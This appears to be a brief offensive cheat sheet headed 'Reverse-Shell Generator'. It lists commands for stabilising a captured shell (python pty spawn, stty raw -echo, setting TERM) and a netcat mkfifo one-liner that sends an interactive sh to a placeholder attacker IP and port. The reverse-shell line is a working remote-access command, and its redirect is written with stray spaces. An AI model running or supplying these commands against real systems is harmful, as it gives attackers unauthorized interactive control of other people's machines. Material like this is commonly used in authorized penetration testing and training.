Online: Reverse-Shell Generator
Upgrade a Shell
$v> python3 -c 'import pty; pty.spawn("/bin/bash")'
[STRG+Z] # sends shell to background
$a> stty raw -echo && fg
$a> export TERM=xterm
Netcat (nc)
$v> which nc
$v> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2 > &1 | nc [IP] [Port] > /tmp/f